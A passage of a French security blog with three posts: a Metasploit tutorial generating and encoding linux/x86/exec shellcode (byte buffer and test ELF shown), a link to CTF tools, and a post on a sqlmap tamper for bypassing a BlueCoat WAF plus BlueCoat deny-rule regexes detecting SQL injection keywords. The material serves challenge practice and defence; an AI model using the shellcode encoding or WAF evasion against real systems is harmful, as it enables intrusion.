x86/jmp_call_additive normal Jump/Call XOR Additive Feedback Encoder
x86/nonalpha low Non-Alpha Encoder
x86/nonupper low Non-Upper Encoder
x86/shikata_ga_nai excellent Polymorphic XOR Additive Feedback Encoder
x86/single_static_bit manual Single Static Bit
x86/unicode_mixed manual Alpha2 Alphanumeric Unicode Mixedcase Encoder
x86/unicode_upper manual Alpha2 Alphanumeric Unicode Uppercase Encoder

Bon dans un premier temps fuyez les “manual”, l’utilisation est plus velue, jetons notre dévolu sur un “normal” exemple countdown ou le furieux shikata ga nai (alias «on ne peut plus rien y faire».. oui moi aussi j’ai lu mars la rouge !). il suffit de piper la sortie RAW dans msfencode (avec l’option R), puis dans l’encodeur d’utiliser «-e» pour spécifier l’encodeur et «-t» pour la sortie…(oui metasploit me semble affreusement peut normalisé au niveau des commandes)


cyanide:/metasploit#./msfpayload linux/x86/exec CMD=/tmp/go R | ./msfencode -e x86/countdown -t perl
[*] x86/countdown succeeded with size 59 (iteration=1)

my $buf =
"\x6a\x2a\x59\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07" .
"\xe2\xfa\x6b\x09\x5b\x9d\x57\x60\x6f\x25\x6a\x83\xec\x64" .
"\x22\x7d\x67\x10\x79\x3d\x71\x7d\x7b\x9f\xf4\x4a\xf1\x12" .
"\x1b\x1c\x1d\x31\x6b\x4d\x51\x0d\x44\x4b\x25\x71\x74\xa1" .
"\xc8\xe7\xab";

On a pris quelque octets pour l’encodage, mais plus de 0x00. Là ou c’est sympas c’est que l’on peut directement pondre un exécutable pour tester…«-o» pour spécifier le fichier de sortie.


cyanide:/metasploit#./msfpayload linux/x86/exec CMD=/tmp/go R | ./msfencode -e x86/countdown -t elf -o /tmp/shellcode

[*] x86/countdown succeeded with size 59 (iteration=1)

cyanide:/metasploit# chmod +x /tmp/shellcode
cyanide:/metasploit# /tmp/shellcode
/bin/sh: /tmp/go: not found

Ca maAAAaaaaAArche, … bon juste que j’ai pas créé l’executable dans tmp.. Zuut. !

Allez Noyeux Joel ! et bon Shells de faignasse…

Posted in Challenge, Hacking | Tagged , , | Leave a comment

Tools à Chall…

Grand nettoyage d’hiver.

J’ai décidé de nettoyer mes tools pour challenge de sécurité. Tant que j’y étais, j’ai décidé de les partager. Rien de miraculeux, mais de l’utile. J’espère que cela pourra servir.

https://github.com/Th4nat0s/Chall_Tools

Bon je vais encore aller en nettoyer un ou deux…

Posted in BlaBla, Challenge, Crypto | Leave a comment

SGos SQLMap Tamper

Toujours pas de FeedBack de Herr BlueCoat, Je vais donc prendre les devants et tenter de corriger cela.

Vous pouvez dès à présent utiliser mon humble contribution de Tamper special bluecoat directement dans sqlmap, celle-ci ayant été acceptée.


https://github.com/sqlmapproject/sqlmap/blob/master/tamper/bluecoat.py

Pour ceux qui veulent tout de même se protéger un peu plus (Sachant que l’on ne fera pas de miracles), voici ce que je préconise pour au moins protéger une SQLi dans un parametre de get avec un taux raisonable de faux positifs (Pour les headers ou les POSTs ou MSSQL pas de miracles, je ne suis pas Jesus)


<proxy>
FORCE_DENY url.query.regex="select[^0-9a-z]" url.query.regex="(?:case|union|like|from)[^0-9a-z]"
FORCE_DENY url.query.regex="sleep[^a-z\.]"
FORCE_DENY raw_url.query.regex= "(?:\)|%29)" url.query.regex="benchmark[^0-9a-z]"
FORCE_DENY url.query.regex="waitfor" url.query.regex="delay" url.query.regex="\d+:\d+:\d+"
FORCE_DENY url.query.regex="concat([\s\+]|%(?:[0-1][0-f]|2[256b]|3d))*\("
FORCE_DENY url.query.regex="varchar([\s\+]|%(?:[0-1][0-f]|2[256b]|3d))*\("
FORCE_DENY url.query.regex="(N?CHA?R[\s\+]*\(?:[\s\+]*\d\d\d?[\s\+]*\)[\s\+]*[\|+][\|]?){3}"
FORCE_DENY raw_url.query.regex="(?:/|%2f)(\*|%2a)" raw_url.query.regex="(\*|%2a)(/|%2f)"
FORCE_DENY raw_url.query.regex="(?:/|%2f)(\*|%2a)" url.query.regex="!0"

Cela n’empèchera pas toute les détections, mais au moins dump. Tout commentaires est le bienvenu.

A+

Posted in Hacking, WebSecurity | Tagged , | Leave a comment